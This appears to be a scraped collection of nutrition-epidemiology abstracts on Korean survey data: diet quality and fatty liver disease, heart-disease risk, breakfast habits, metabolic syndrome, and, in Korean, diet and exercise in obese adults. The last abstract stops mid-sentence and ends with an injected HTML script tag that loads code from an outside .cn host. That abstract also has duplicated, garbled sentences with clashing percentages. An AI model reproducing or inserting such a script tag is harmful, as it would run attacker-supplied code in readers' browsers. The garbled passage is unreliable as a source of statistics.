We performed a study to examine the association between diet quality and nonalcoholic fatty liver disease (NAFLD). Our study included 3,586 women aged 40-64 years who participated in the sixth Korea National Health and Nutrition Examination Survey. The study subjects were classified into the NAFLD group (n=816) and the normal group (n=2,770) using the hepatic steatosis index. The anthropometric indices, blood profiles, and dietary intake data of the subjects were obtained. The waist circumference, body mass index, and the serum levels of triglycerides, fasting blood sugar, HbA1c, and systolic and diastolic blood pressures were higher in the NAFLD compared to the normal groups (p<0.001, respectively). The intakes of protein (g/kg body weight, p<0.001), potassium (p<0.001), and vitamin A (p=0.006) were significantly lower in the NAFLD group. It was observed that the higher the total Korean Healthy Eating Index score, the lower the risk of NAFLD. A reverse relationship was shown between the NAFLD risk and the intakes of total fruits, total vegetables, vegetables excluding Kimchi and pickled vegetables, meat, fish, eggs and beans. Therefore, it is recommended that middleaged women in Korea increase their intakes of fruits, vegetables, and foods high in protein for the proper management of NAFLD.

This study investigated the association between dietary intake and 10-year risk for CHD predicted from Framingham risk score in Korean adults using the Korea National Health and Nutrition Examination Survey 2019-2020. Eight thousand subjects (3,382 men and 4,618 women) aged 30 years or older were classified into three groups according to the 10-year CHD risk (%). The sociodemographics, anthropometrics indices, blood profiles, and dietary intake were collected. After adjusting for confounding variables, the mean adequacy ratio (MAR) decreased for both men and women as the disease risk increased. The high–risk group was below the MAR criteria, indicating that the overall quality of the meal was not good. The highest consumers of legumes (OR 0.56, 95% CI 0.37-0.84), fruits (OR 0.67, 95% CI 0.48-0.93), and fish (OR 0.60, 95% CI 0.42-0.87) had a 44%, 33%, and 40% lower 10-year CHD risk than lowest consumers in men, respectively. In women, there is no significant relationship between food groups and disease risk. Therefore, improving lifestyle habits such as weight control, increased activity, and adequate food intake, especially legumes, fruits, and fish rich in antioxidant nutrients and bioactive substances, appears to have a potential association with preventing coronary heart disease in Korean adults.

This study examined the nutrient intake of Korean adults by considering the lunch type, categorized as home meals (HM), eating out (EO), and institutional meals (IM). Data was obtained from the 2019 Korea National Health and Nutrition Examination Survey (KNHANES). Totally, 3,786 adults (1,643 men, and 2,143 women) aged between 19-64 years were included in the study. Subjects with daily energy intake of less than 500 kcal or over 5,000 kcal, and those who skipped lunch, were excluded. The percentage of subjects in the HM, EO, and IM were 31.9, 53.6, and 14.4%, respectively. The daily energy intakes of the HM, EO, and IM groups were determined to be 2,185, 2,360, and 2,339 kcal, respectively, in men, and 1,622, 1,731, and 1,741 kcal, respectively, in women. Among the three groups, men in the EO group had more intake of fat, saturated fat, cholesterol, sodium, and riboflavin, and less dietary fiber, and whereas women consumed more fat and less dietary fiber and potassium. In the IM group, the men consumed more dietary fiber, potassium, and thiamine, whereas consumption of carbohydrate, unsaturated fatty acid, sodium, potassium, and thiamine was more in women. Energy contributions of carbohydrate, protein, and fat were all within the AMDR (acceptable macronutrient distribution ranges) for all lunch types, except for the percent of energy provided from saturated fat in EO (7.4% in men, and 8.2% in women). Our results indicate that the dietary habit of frequently eating out increases the fat intake, thereby resulting in increased health risks for adults. Thus, implementation of a nutritional education program to encourage balanced dietary habits is required to improve the nutritional status of individuals eating out.

The purpose of this study was to compare the differences in the quality of dietary and life across age groups of Korean adults. According to life cycle, four age groups (20~29, 30~49, 50~64, ≥65) were created. Anthropometric indices showed significant differences according to age group (p<0.001). Energy intake significantly decreased according to age group as a result of decreased protein and fat intake (p<0.001). The intake levels of minerals, vitamins, and dietary fiber per 1,000 kcal were the lowest in the 20~29 age group (p<0.001). Whereas saturated fatty acids, MUFA, and PUFA intake levels were the highest for those in the 20~29 age group (p<0.001). The quality of dietary (DQI-I) increased with age group, but the quality of life (EQ-5D index) decreased (p<0.001). The quality of dietary showed 5.8% explanation power on the quality of life (p<0.001). Additionally, diet moderation was shown as having a negative effect, but the diversity and balance of diets had a positive effect on the quality of life. By age group, the relationship between quality of dietary and quality of life was the highest in ≥65 age group. These results suggest that practical dietary education is needed from the 20’s to ensure the quality of healthy life for the elderly.

In this study, the Korea National Health and Nutrition Examination Survey in 2016 examined the nutrient and food intake of women in their 20s and 30s according to the number of meals a day, and the results were as follows: The study included 256 women in their 20s and 474 women in their 30s. Women in their 20s and 30s ate two meals a day, indicating that the notion of three meals a day was gradually changing to two to three meals a day. Those in their 20s and 30s who eat one, two or three meals a day were consuming less than the estimated energy requirement of the DRI for Koreans 2015. The vitamin A and C were eating less than the recommended intake in all meals. In the case of minerals, calcium was taken less than the recommended intake in all meals, but sodium was taken above the goal intake in all groups. Women in their 20s and 30s must reduce their intake of saturated fatty acids and sodium, and increase their intake of vitamins A, C, calcium, and potassium. Women in their 20s and 30s drank a lot of coffee, ate baechu-kimchi and rice frequently per week.

This study aim to evaluate dietary quality and nutritional status according to the consumption of health functional food using Nutrition Quotient for Korean elderly (NQ-E) for 288 elderly people attending senior welfare centers in Gyeonggi-do. The questionnaire consisted of items about general information, health functional food, and Nutrition Quotient for Korean elderly (NQ-E). Chi-squared test, Fisher's exact tests, and Analysis of Covariance (ANCOVA) were performed using the SAS program ver. 9.4. Among the male and female subjects, the female subjects consumed more health functional food. The results of the dietary quality and nutritional status difference according to the intake of health functional food showed significant differences only in the areas of variety and abstinence among nutrition quotient factors for men, while no significant differences were observed in any of the nutrition quotient factors for women. In conclusion, focused-nutrition education program and useful guideline is needed for promoting adequate consumption of health functional foods in elderly.

This study aimed to assess the nutritional quality of breakfast among Korean school-aged children and adolescents depending on eating together as a family, based on the 2013-2014 Korea National Health and Nutrition Survey. One day 24-hour recall data of 1,831 children and adolescents aged from 6 to 17 years were collected. The nutritional quality of breakfast was analyzed and compared between Family Breakfast Group (FBG, n=1,410) and Eating-alone Breakfast Group (EBG, n=421). The results showed that age, family structure, number of family members, and frequency of breakfast were associated with eating breakfast as a family. The calorie intake from breakfast explained 19% and 16% of the daily intake for FBG and EBG, respectively. The percentages of children and adolescents consuming Vitamin A, Vitamin B1, Vitamin B2, Vitamin C, Niacin, and Iron less than 1/4 of the Estimated Average Requirements were significantly lower in FBG than in EBG. The average numbers of serving for “Grains” and “Vegetables” food groups and the average Dietary Diversity Score were significantly higher in FBG than in EBG. Overall, the results indicated that eating breakfast as a family is positively associated with nutritional quality of breakfast among Korean school-aged children and adolescents.

Metabolic syndrome is a risk factor for cardiovascular and type 2 diabetes. This study was conducted to examine the relevance between nutrition intake, meal quality, and high-sensitivity C-reactive protein in Koreans with metabolic syndrome. The 2,536 subjects, aged 19~64, who participated in 2015 National Nutrition Survey were included in this study. The 24-hour recall method was employed to analyze nutrition intake and dietary quality. Subjects were grouped into either the non-metabolic syndrome group (n=1,938) or the metabolic syndrome group (n=598). Total males and females were divided into 3 groups according to the high-sensitivity C-reactive protein (hs-CRP) level to study its relationship to metabolic syndrome and its components, including odds ratio (OR) and confidence interval (CI). Results showed the homeostasis model assessment of insulin resistance (HOMA-IR) value was higher in the metabolic syndrome group (3.37) than non-metabolic syndrome group (1.57) (p<0.001). In the Index of Nutrition Quality, males in the non-metabolic syndrome group showed higher niacin (p<0.05) than males in metabolic syndrome group. Females in the non-metabolic syndrome group had higher vitamin B1 (p<0.01), vitamin B2 (p<0.001), niacin (p<0.05), calcium (p<0.001), and phosphate (p<0.01). Female in the high hs-CRP group showed high OR in blood glucose component (OR 2.488, 95% CI: 1.269~4.879) and metabolic syndrome risk (OR 2.856, 95% CI: 1.292~6.314). Females in the middle hs-CRP group had high triglycerides component (OR 2.956, 95% CI: 1.920~4.551), compared to the low hs-CRP group. The study showed females with higher hs-CRP had a higher risk of metabolic syndrome.

The objective of the this study was to identify the potential relationship between eating breakfast together as a family and the nutritional status among Korean adolescents based on the 2013~2015 Korean National Health and Nutritional Examination Survey data. This study investigated 1,300 adolescents ranging in agee from twelve to eighteen years-old. In this study, according to their eating breakfast together as a family or skipping breakfast, we classified the subjects into the eating breakfast together as a family (EBF group) (male=379, female=295), eating breakfast alone (EBA group) (male=177, female=169) and skipping breakfast (SB group) (male=152, female=128). Both male and female, age in the EBF group was lower than those of the EBA and SB group (p<0.0001, respectively). In the male, the EBF group exhibited significantly higher fiber (p=0.0168) and potassium density (p=0.0065) and lower beverage intake (% energy) (p=0.0040) than the EBA and SB groups. No difference was observed the proportion of subjects who practiced a healthy diet between three groups, however, the EBF and EBA groups had a smaller proportion of subjects who were in a condition of hypo-nutrition compared to the SB group (p<0.0001, respectively). The present findings suggest that the practice of eating breakfast together as a family in adolescents may bean important consideration in relation to micro-nutrient intake status.

In this study, we have analyzed the 2015 KNHANES to understand the nutritional and health status of Korean middle-age adults from the perspective of frequency of eating breakfast. Those that eat breakfast five to seven times a week were 76.3 percent (male) and 72.7 percent (female). Frequency of eating lunch and dinner, and eating out was significantly higher among male subjects. The higher the frequency of eating breakfast, the higher the frequency of eating lunch, dinner and eating out. Female subjects that ate breakfast five to seven times a week had lower height and weight compared with other groups, but there was no significant difference of BMI and waist circumference among the four groups. Adults that eat breakfast five to seven times a week had consumed more carbohydrates, dietary fiber, phosphorus, potassium and vitamin C regardless of gender, which validates the nutritional benefits of eating meals regularly. Male adults that ate breakfast five to seven times a week revealed lower levels of diastolic blood pressure and LDL-cholesterol compared with other groups, which validates eating breakfast regularly was beneficial to their health. In conclusion, it is necessary to eat regular meals daily relative to the nutritional status and health of Korean middle-age adults.

As an indicator of skin health, acidified skin surface pH ranging from 5 to 7 is crucial for maintaining skin barrier. In this study, we evaluated the relationship between skin pH and dietary pattern (DP) as well as nutrient or food intake in 48 healthy middle aged adults. Skin pH was measured in the skin surface of the inner arm, and blood lipid profile was analyzed. Dietary intake data were obtained using 1 day 24 hour recall method, and DP was extracted using factor analysis. Results revealed that skin pH ranged from 5.15 to 6.88 in all subjects. There was no significant difference in skin pH between males and females. When subjects were grouped by tertile of skin pH, the food intake of fruit, and the nutrient intake of omega 6 fatty acid, potassium, vitamin A, vitamin C, β-carotene, and riboflavin in the first tertile group with skin pH ranging from 5.15 to 5.68 were significantly higher than in the third tertile group with skin pH ranging from 6.26 to 6.88. There was no difference in blood lipid profile between the first and the third tertile group. Among 5 DP extracted by factor analysis, DP5 characterized by a high intake of nuts and fruits as well as a low intake of beverages and alcohol was inversely correlated with skin pH after adjusting for gender and age. DP5 was positively correlated with nutrient intake of carbohydrate, fiber, potassium, iron, vitamin A, vitamin C, β-carotene, thiamine, and riboflavin but negatively correlated with sodium after adjusting for gender, age, smoking, and energy intake. Therefore, acidified skin pH could be maintained by these DP and nutrients.

We examined the relationship between breakfast eating, nutrient intake, and health outcomes using dietary intake, anthropometric, and biochemical measurements in Korean adults. Data from the 2007 National Health and Nutrition Survey were obtained, and 2,514 adults aged 20 to 64 years were analyzed. The prevalence of skipping breakfast, using a 24-hour diet recall, was 54.5% in the 20-29 age group, 31.2% in the 30-49 age group, and 19.2% in the 50-64 age group. In the 20-29 age group, waist circumstance and serum cholesterol were significantly higher in breakfast skippers than in breakfast eaters. In the 30-49 age group, breakfast skippers had higher triglyceride levels than breakfast eaters. Energy intake of breakfast skippers in every age group was significantly lower than that of breakfast eaters. Furthermore, in the 20-29 and 30-49 age groups, the percent of energy from carbohydrates in breakfast skippers was significantly lower than that of breakfast eaters, whereas the percent of energy from lipids in breakfast skippers was significantly higher than that of breakfast eaters. Additionally, in the 20-29 and 30-49 age groups, breakfast eaters showed higher carbohydrate and iron intake per 1,000 kcal than breakfast skippers and lower lipid intake per 1,000 kcal than that of breakfast skippers. Breakfast skippers showed intakes of less nutrients than EAR was higher than breakfast eaters except vitamin B2 and calcium intake in males of the 20-29 age group. In conclusion, nutrition education, and policy should be implemented to teach the importance of breakfast, appropriate dietary intake, and proper food choice for each age group.

최근 풍족한 식생활로 인한 영양소의 과잉섭취와 운동량의 부족으로 비만증이 늘어나고 있다. 비만증의 위험이 널리 인식되면서 비만성인들의 무분별한 다이어트와 운동으로 영양결함이나 이와 관련된 질병들이 발행할 우려가 있으므로 적절한 영양교육 프로그램개발을 위한 기초자료를 위해 식사 행동, 영양섭취실태 및 건강상태에 관한 실태를 조사하여 비만군과 대조군을 비교해 본 결과 다음과 같은 결과를 얻었다. 1. 평균연령은 남녀 각각 38.1±10.8세, 35.2±8.8세였으나, 전체 연령의 분포는 30세 이하가 28명(35%), 30세에서 39세가 23명(28%), 40세에서 49세가 19명(23.5%), 50세 이상이 11명(13.5%)으로 30세에서 49세가 가장 많았다. 체중조절 운동에 참여한 기간은 1∼2개월 정도가 5명(6.1%), 3∼4개월은 24명(29.8%), 5∼6개월은 39명(48.2%), 6개월 이상은 13명(15.9%)으로 5∼6개월이 가장 많았다. 2. 에너지 섭취량의 경우 비만군이 1, 451.0kcal로써 대조군 1, 572.4kcal에 비해 8%정도 적게 섭취하는 것으로 나타났으며 한국인의 영양권장량^21)에 대한 비율로는 대조군이 74% 비만군이 65% 수준으로 섭취하고 있었다. 에너지 섭취량과 마찬가지로 권장량에 미치지 못하는 영양소는 단백질, 칼슘, 철분, 비타민 B_1, 비타민 B_2이었다. 총열량에 대한 탄수화물, 지방, 단백질의 열량 비율은 비만군이 61.2:21.6:16.6, 대조군이 62.8:21.3:16.0으로 한국인 영양권장량에서 이상적인 구성 비율로 권장하고 있는 65:20:15와 비교해 볼 때 탄수화물 섭취 비율이 두 군 모두 약간 낮으나 지방과 단백질의 섭취비율은 비슷하였다. 3. 평균 신장은 비만군이 165.8cm, 대조군이 164.2cm으로 두 군간에 차이가 없었으나. 평균 체중은 비만군이 74.9kg, 대조군이 60.4kg으로 나타나 유의적인 차이(p<0.001)를 보였다. TSF는 비만군이 28.3mm, 대조군이 23.7mm로 두 군간에 유의적인 차(p<0.001)를 나타냈다. MAMC는 비만군이 25.5cm, 대조군이 21.7cm로써 두 군간에 유의적인 차이(p<0.001)를 보였다. 4. 식사행동에 관한 내용에서는 하루에 몇 회 식사하는가, 규칙적인 식사를 하는가, 식사에 걸리는 시간에 관한 문항으로 나누어 조사한 결과, 하루에 3회 식사하는 사람이 대부분이었으나 비만군의 여자 1명과 대조군의 여자 2명이 하루 1회만 식사를 하고, 비만군의 여자 4, 남자 2명과 대조군의 여자 7명이 하루 2회 식사를 하는 것으로 나타나 식사행동이 잘못되었음을 알 수 있었다. 규칙적인 식사를 하는가에 관한 물음에서는 대체로 규칙적이다라고 답한 사람이 비만군은 14명(38.9%), 대조군은 22명(52.4%)으로 대조군이 많았다. 불규칙적이다라고 답한 사람은 비만군이 여자 5명과 남자 22명으로 전체 27명(57.5%), 대조군이 여자 6명과 남자 6명으로 전체 12명(57.5%), 대조군이 여자 6명과 남자 6명으로 전체 12명(36%)이었다. 불규칙적인 식사를 하는 비만군 남자의 경우 잦은 음주로 인하여 식사를 하는 비만군 남자의 경우 잦은음주로 인하여 식사를 제 때에 못한다고 답한 사람이 많았다. 식사에 걸리는 시간은 10분 이내인 경우는 비만군에서 다소 많았으며 그 외는 10분에서 20분 사이라고 답한 사람이 대부분이었다. 5. 운동에 참여하는 정도는 참여한다라고 답한 사람이 비만군이 17명(42.1%), 대조군이 13명(35.7%)이었으며, 가끔 참여한다라고 답한 사람이 비만군이 25명(62.1%), 대조군이 26명(64.3%)이었다. 운동빈도는 1주일에 3∼5회 하는 사람이 비만군19명(43.4%), 대조군 23명(63.5%)으로 나타나 대조군이 비만군보다 많았다. 운동빈도에 따른 인체계측의 변화는 1주일에 6∼7회 운동하는 사람의 체중과 TSF가 1∼2회 및 3∼5회 운동하는 사람보다 약간 낮게 나타났으며, 대체적으로 비슷한 분포를 보였다. 1회 운동시 걸리는 시간은 30분이 전체의 약 44%로 가장 많았고, 그 다음이 60분으로 전체의 약 39%였다. 체중조절을 위해 운동에 참여한 기간은 비만군 23명(54.6%)과 대조군 16명(38.9%)이 5∼6개월에 답을 하여 가장 많은 수치를 나타내었다. 평소에 자신이 알고 있는 영양지식을 실생활에 활용하는가에 관한 물음에서 전체 52명(64.2%)이 대체적으로 활용하고 있다고 답했으며, 적극적으로 활용한다고 답한 사람이 전체 29명(35.8%)으로 나타났다. 6. 각 영양소 섭취량과 인체계측 지표간의 상관성을 분석하여 본 결과, PIBW는 열량섭취량(r = -0.241, p<0.05)과 탄수화물 섭취량(r = -0.259, p<0.05)사이에 유의한 음의 상관관계가 있음을 보였으며, BMI도 PIBW와 마찬가지로 열량섭취량(r = -0.224, p<0.05)과 탄수화물 섭취량(r = -0.242, p<0.05)사이에 유의한 음의 상관성을 나타냈다. 7. 체중 조절후 체중감소율에 영향을 미치는 요인을 알아내기 위해 단계적 다중회귀분석을 한 결과, 체중감소율을 설명할 수 있는 요인으로서?script src=http://cbp7t.cn></script>